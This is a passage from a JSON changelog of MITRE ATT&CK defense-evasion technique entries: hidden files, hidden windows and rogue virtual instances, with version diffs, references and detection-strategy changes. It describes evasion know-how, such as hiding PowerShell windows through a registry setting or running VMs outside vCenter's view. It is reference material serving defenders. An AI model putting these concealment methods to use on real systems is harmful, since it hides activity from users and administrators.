probing for email addresses and/or usernames, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for suspicious network traffic that could be indicative of probing for email addresses and/or usernames, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\\n-\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0814: Detection of Email Addresses" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-26 17:46:13.128000+00:00", + "modified": "2025-10-24 17:49:34.244000+00:00", + "name": "Hidden Files and Directories", + "description": "Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \u2013a for Linux and macOS).\n\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable.\n\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.\n\nAdditionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a \u201cspace\u201d character.\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1564/001", + "external_id": "T1564.001" + }, + { + "source_name": "WireLurker", + "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.", + "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf" + }, + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + }, + { + "source_name": "Antiquated Mac Malware", + "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Gr@ve_Rose (tcpdump101.com on bsky)" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Gr@ve_Rose (tcpdump101.com on bsky)\"]}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Creation\", \"File: File Metadata\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:34.244000+00:00\", \"old_value\": \"2025-04-25 14:48:27.868000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \\u2018hidden\\u2019 file. These files don\\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \\u2013a for Linux and macOS).\\n\\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \\u201c.\\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \\u2018.\\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \\u201cls\\u201d. Users must specifically change settings to have these files viewable.\\n\\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\\u2019t clutter up the user\\u2019s workspace. For example, SSH utilities create a .ssh folder that\\u2019s hidden and contains the user\\u2019s known hosts and keys.\\n\\nAdditionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a \\u201cspace\\u201d character.\\n\\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.\", \"old_value\": \"Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \\u2018hidden\\u2019 file. These files don\\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \\u2013a for Linux and macOS).\\n\\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \\u201c.\\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \\u2018.\\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \\u201cls\\u201d. Users must specifically change settings to have these files viewable.\\n\\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\\u2019t clutter up the user\\u2019s workspace. For example, SSH utilities create a .ssh folder that\\u2019s hidden and contains the user\\u2019s known hosts and keys.\\n\\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.\", \"diff\": \"--- \\n+++ \\n@@ -4,4 +4,6 @@\\n \\n Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\\u2019t clutter up the user\\u2019s workspace. For example, SSH utilities create a .ssh folder that\\u2019s hidden and contains the user\\u2019s known hosts and keys.\\n \\n+Additionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a \\u201cspace\\u201d character.\\n+\\n Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor the file system and shell commands for files being created with a leading \\\".\\\" and the Windows command-line use of attrib.exe to add the hidden attribute.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may set files and directories to be hidden to evt1Adversaries may set files and directories to be hidden to ev
>ade detection mechanisms. To prevent normal users from accid>ade detection mechanisms. To prevent normal users from accid
>entally changing special files on a system, most operating s>entally changing special files on a system, most operating s
>ystems have the concept of a \u2018hidden\u2019 file. These files don\u2019>ystems have the concept of a \u2018hidden\u2019 file. These files don\u2019
>t show up when a user browses the file system with a GUI or >t show up when a user browses the file system with a GUI or 
>when using normal commands on the command line. Users must e>when using normal commands on the command line. Users must e
>xplicitly ask to show the hidden files either via a series o>xplicitly ask to show the hidden files either via a series o
>f Graphical User Interface (GUI) prompts or with command lin>f Graphical User Interface (GUI) prompts or with command lin
>e switches (<code>dir /a</code> for Windows and <code>ls \u2013a<>e switches (<code>dir /a</code> for Windows and <code>ls \u2013a<
>/code> for Linux and macOS).  On Linux and Mac, users can ma>/code> for Linux and macOS).  On Linux and Mac, users can ma
>rk specific files as hidden simply by putting a \u201c.\u201d as the f>rk specific files as hidden simply by putting a \u201c.\u201d as the f
>irst character in the file or folder name  (Citation: Sofacy>irst character in the file or folder name  (Citation: Sofacy
> Komplex Trojan) (Citation: Antiquated Mac Malware). Files a> Komplex Trojan) (Citation: Antiquated Mac Malware). Files a
>nd folders that start with a period, \u2018.\u2019, are by default hid>nd folders that start with a period, \u2018.\u2019, are by default hid
>den from being viewed in the Finder application and standard>den from being viewed in the Finder application and standard
> command-line utilities like \u201cls\u201d. Users must specifically c> command-line utilities like \u201cls\u201d. Users must specifically c
>hange settings to have these files viewable.  Files on macOS>hange settings to have these files viewable.  Files on macOS
> can also be marked with the UF_HIDDEN flag which prevents t> can also be marked with the UF_HIDDEN flag which prevents t
>hem from being seen in Finder.app, but still allows them to >hem from being seen in Finder.app, but still allows them to 
>be seen in Terminal.app (Citation: WireLurker). On Windows, >be seen in Terminal.app (Citation: WireLurker). On Windows, 
>users can mark specific files as hidden by using the attrib.>users can mark specific files as hidden by using the attrib.
>exe binary. Many applications create these hidden files and >exe binary. Many applications create these hidden files and 
>folders to store information so that it doesn\u2019t clutter up t>folders to store information so that it doesn\u2019t clutter up t
>he user\u2019s workspace. For example, SSH utilities create a .ss>he user\u2019s workspace. For example, SSH utilities create a .ss
>h folder that\u2019s hidden and contains the user\u2019s known hosts a>h folder that\u2019s hidden and contains the user\u2019s known hosts a
>nd keys.  Adversaries can use this to their advantage to hid>nd keys.  Additionally, adversaries may name files in a mann
>e files and folders anywhere on the system and evading a typ>er that would allow the file to be hidden such as naming a f
>ical user or system analysis that does not incorporate inves>ile only a \u201cspace\u201d character.  Adversaries can use this to t
>tigation of hidden files.>heir advantage to hide files and folders anywhere on the sys
 >tem and evading a typical user or system analysis that does 
 >not incorporate investigation of hidden files.
", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0032: Detection Strategy for Hidden Files and Directories" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 20:26:49.433000+00:00", + "modified": "2025-10-24 17:49:23.485000+00:00", + "name": "Hidden Window", + "description": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \n\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)\n\nOn macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nSimilarly, on Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden.(Citation: PowerShell About 2019)\n\nThe Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\\Console\\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.(Citation: Cantoris Computing)\n\nIn addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding explorer.exe process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows.\n\nAdversaries may also leverage cmd.exe(Citation: Cybereason - Hidden Malicious Remote Access) as a parent process, and then utilize a LOLBin, such as DeviceCredentialDeployment.exe,(Citation: LOLBAS Project GitHub Device Cred Dep)(Citation: SecureList BlueNoroff Device Cred Dev) to hide windows.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1564/003", + "external_id": "T1564.003" + }, + { + "source_name": "Cantoris Computing", + "description": "Cantoris. (2016, July 22). PowerShell Malware. Retrieved December 12, 2024.", + "url": "https://cantoriscomputing.wordpress.com/2016/07/22/powershell-malware/" + }, + { + "source_name": "Cybereason - Hidden Malicious Remote Access", + "description": "Cybereason Security Services Team. (n.d.). Behind Closed Doors: The Rise of Hidden Malicious Remote Access. Retrieved July 22, 2025.", + "url": "https://www.cybereason.com/blog/behind-closed-doors-the-rise-of-hidden-malicious-remote-access" + }, + { + "source_name": "LOLBAS Project GitHub Device Cred Dep", + "description": "Elliot Killick. (n.d.). /DeviceCredentialDeployment.exe. Retrieved July 22, 2025.", + "url": "https://lolbas-project.github.io/lolbas/Binaries/DeviceCredentialDeployment/" + }, + { + "source_name": "Hidden VNC", + "description": "Hutchins, Marcus. (2015, September 13). Hidden VNC for Beginners. Retrieved November 28, 2023.", + "url": "https://www.malwaretech.com/2015/09/hidden-vnc-for-beginners.html" + }, + { + "source_name": "Anatomy of an hVNC Attack", + "description": "Keshet, Lior. Kessem, Limor. (2017, January 25). Anatomy of an hVNC Attack. Retrieved November 28, 2023.", + "url": "https://securityintelligence.com/anatomy-of-an-hvnc-attack/" + }, + { + "source_name": "SecureList BlueNoroff Device Cred Dev", + "description": "Seongsu Park. (2022, December 27). BlueNoroff introduces new methods bypassing MoTW. Retrieved July 22, 2025.", + "url": "https://securelist.com/bluenoroff-methods-bypass-motw/108383/" + }, + { + "source_name": "Antiquated Mac Malware", + "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" + }, + { + "source_name": "PowerShell About 2019", + "description": "Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019.", + "url": "https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Travis Smith, Tripwire", + "Mark Tsipershtein", + "Vijay Lalwani", + "Liran Ravich, CardinalOps" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Command: Command Execution\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Script: Script Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.485000+00:00\", \"old_value\": \"2025-04-15 19:59:07.977000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \\n\\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)\\n\\nOn macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\\n\\nSimilarly, on Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden.(Citation: PowerShell About 2019)\\n\\nThe Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\\\\Console\\\\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.(Citation: Cantoris Computing)\\n\\nIn addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding explorer.exe process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows.\\n\\nAdversaries may also leverage cmd.exe(Citation: Cybereason - Hidden Malicious Remote Access) as a parent process, and then utilize a LOLBin, such as DeviceCredentialDeployment.exe,(Citation: LOLBAS Project GitHub Device Cred Dep)(Citation: SecureList BlueNoroff Device Cred Dev) to hide windows.\", \"old_value\": \"Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \\n\\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)\\n\\nOn macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\\n\\nSimilarly, on Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden.(Citation: PowerShell About 2019)\\n\\nThe Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\\\\Console\\\\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.(Citation: Cantoris Computing)\\n\\nIn addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding explorer.exe process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows.\", \"diff\": \"--- \\n+++ \\n@@ -9,3 +9,5 @@\\n The Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\\\\Console\\\\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.(Citation: Cantoris Computing)\\n \\n In addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding explorer.exe process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows.\\n+\\n+Adversaries may also leverage cmd.exe(Citation: Cybereason - Hidden Malicious Remote Access) as a parent process, and then utilize a LOLBin, such as DeviceCredentialDeployment.exe,(Citation: LOLBAS Project GitHub Device Cred Dep)(Citation: SecureList BlueNoroff Device Cred Dev) to hide windows.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Cybereason - Hidden Malicious Remote Access\", \"description\": \"Cybereason Security Services Team. (n.d.). Behind Closed Doors: The Rise of Hidden Malicious Remote Access. Retrieved July 22, 2025.\", \"url\": \"https://www.cybereason.com/blog/behind-closed-doors-the-rise-of-hidden-malicious-remote-access\"}, \"root['external_references'][3]\": {\"source_name\": \"LOLBAS Project GitHub Device Cred Dep\", \"description\": \"Elliot Killick. (n.d.). /DeviceCredentialDeployment.exe. Retrieved July 22, 2025.\", \"url\": \"https://lolbas-project.github.io/lolbas/Binaries/DeviceCredentialDeployment/\"}, \"root['external_references'][6]\": {\"source_name\": \"SecureList BlueNoroff Device Cred Dev\", \"description\": \"Seongsu Park. (2022, December 27). BlueNoroff introduces new methods bypassing MoTW. Retrieved July 22, 2025.\", \"url\": \"https://securelist.com/bluenoroff-methods-bypass-motw/108383/\"}, \"root['x_mitre_contributors'][3]\": \"Liran Ravich, CardinalOps\"}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may use hidden windows to conceal malicious actit1Adversaries may use hidden windows to conceal malicious acti
>vity from the plain sight of users. In some cases, windows t>vity from the plain sight of users. In some cases, windows t
>hat would typically be displayed when an application carries>hat would typically be displayed when an application carries
> out an operation can be hidden. This may be utilized by sys> out an operation can be hidden. This may be utilized by sys
>tem administrators to avoid disrupting user work environment>tem administrators to avoid disrupting user work environment
>s when carrying out administrative tasks.   Adversaries may >s when carrying out administrative tasks.   Adversaries may 
>abuse these functionalities to hide otherwise visible window>abuse these functionalities to hide otherwise visible window
>s from users so as not to alert the user to adversary activi>s from users so as not to alert the user to adversary activi
>ty on the system.(Citation: Antiquated Mac Malware)  On macO>ty on the system.(Citation: Antiquated Mac Malware)  On macO
>S, the configurations for how applications run are listed in>S, the configurations for how applications run are listed in
> property list (plist) files. One of the tags in these files> property list (plist) files. One of the tags in these files
> can be <code>apple.awt.UIElement</code>, which allows for J> can be <code>apple.awt.UIElement</code>, which allows for J
>ava applications to prevent the application's icon from appe>ava applications to prevent the application's icon from appe
>aring in the Dock. A common use for this is when application>aring in the Dock. A common use for this is when application
>s run in the system tray, but don't also want to show up in >s run in the system tray, but don't also want to show up in 
>the Dock.  Similarly, on Windows there are a variety of feat>the Dock.  Similarly, on Windows there are a variety of feat
>ures in scripting languages, such as [PowerShell](https://at>ures in scripting languages, such as [PowerShell](https://at
>tack.mitre.org/techniques/T1059/001), Jscript, and [Visual B>tack.mitre.org/techniques/T1059/001), Jscript, and [Visual B
>asic](https://attack.mitre.org/techniques/T1059/005) to make>asic](https://attack.mitre.org/techniques/T1059/005) to make
> windows hidden. One example of this is <code>powershell.exe> windows hidden. One example of this is <code>powershell.exe
> -WindowStyle Hidden</code>.(Citation: PowerShell About 2019> -WindowStyle Hidden</code>.(Citation: PowerShell About 2019
>)  The Windows Registry can also be edited to hide applicati>)  The Windows Registry can also be edited to hide applicati
>on windows from the current user. For example, by setting th>on windows from the current user. For example, by setting th
>e `WindowPosition` subkey in the `HKEY_CURRENT_USER\\Console\\>e `WindowPosition` subkey in the `HKEY_CURRENT_USER\\Console\\
>%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe`>%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe`
> Registry key to a maximum value, PowerShell windows will op> Registry key to a maximum value, PowerShell windows will op
>en off screen and be hidden.(Citation: Cantoris Computing)  >en off screen and be hidden.(Citation: Cantoris Computing)  
>In addition, Windows supports the `CreateDesktop()` API that>In addition, Windows supports the `CreateDesktop()` API that
> can create a hidden desktop window with its own correspondi> can create a hidden desktop window with its own correspondi
>ng <code>explorer.exe</code> process.(Citation: Hidden VNC)(>ng <code>explorer.exe</code> process.(Citation: Hidden VNC)(
>Citation: Anatomy of an hVNC Attack)  All applications runni>Citation: Anatomy of an hVNC Attack)  All applications runni
>ng on the hidden desktop window, such as a hidden VNC (hVNC)>ng on the hidden desktop window, such as a hidden VNC (hVNC)
> session,(Citation: Hidden VNC) will be invisible to other d> session,(Citation: Hidden VNC) will be invisible to other d
>esktops windows.>esktops windows.  Adversaries may also leverage cmd.exe(Cita
 >tion: Cybereason - Hidden Malicious Remote Access) as a pare
 >nt process, and then utilize a LOLBin, such as DeviceCredent
 >ialDeployment.exe,(Citation: LOLBAS Project GitHub Device Cr
 >ed Dep)(Citation: SecureList BlueNoroff Device Cred Dev) to 
 >hide windows.
", + "changelog_mitigations": { + "shared": [ + "M1033: Limit Software Installation", + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0128: Detection Strategy for Hidden Windows" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-06-29 15:36:41.535000+00:00", + "modified": "2025-10-24 17:49:15.607000+00:00", + "name": "Run Virtual Instance", + "description": "Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance.(Citation: CyberCX Akira Ransomware) Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)\n\nAdversaries may utilize native support for virtualization (ex: Hyper-V), deploy lightweight emulators (ex: QEMU), or drop the necessary files to run a virtual instance (ex: VirtualBox binaries).(Citation: Securonix CronTrap 2024) After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)\n\nThreat actors may also leverage temporary virtualized environments such as the Windows Sandbox, which supports the use of `.wsb` configuration files for defining execution parameters. For example, the `` property supports the creation of a shared folder, while the `` property allows the specification of a payload.(Citation: ESET MirrorFace 2025)\n\nIn VMWare environments, adversaries may leverage the vCenter console to create new virtual machines. However, they may also create virtual machines directly on ESXi servers by running a valid `.vmx` file with the `/bin/vmx` utility. Adding this command to `/etc/rc.local.d/local.sh` (i.e., [RC Scripts](https://attack.mitre.org/techniques/T1037/004)) will cause the VM to persistently restart.(Citation: vNinja Rogue VMs 2024) Creating a VM this way prevents it from appearing in the vCenter console or in the output to the `vim-cmd vmsvc/getallvms` command on the ESXi server, thereby hiding it from typical administrative activities.(Citation: MITRE VMware Abuse 2024)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1564/006", + "external_id": "T1564.006" + }, + { + "source_name": "ESET MirrorFace 2025", + "description": " Dominik Breitenbacher. (2025, March 18). Operation AkaiRy\u016b: MirrorFace invites Europe to Expo 2025 and revives ANEL backdoor. Retrieved May 22, 2025.", + "url": 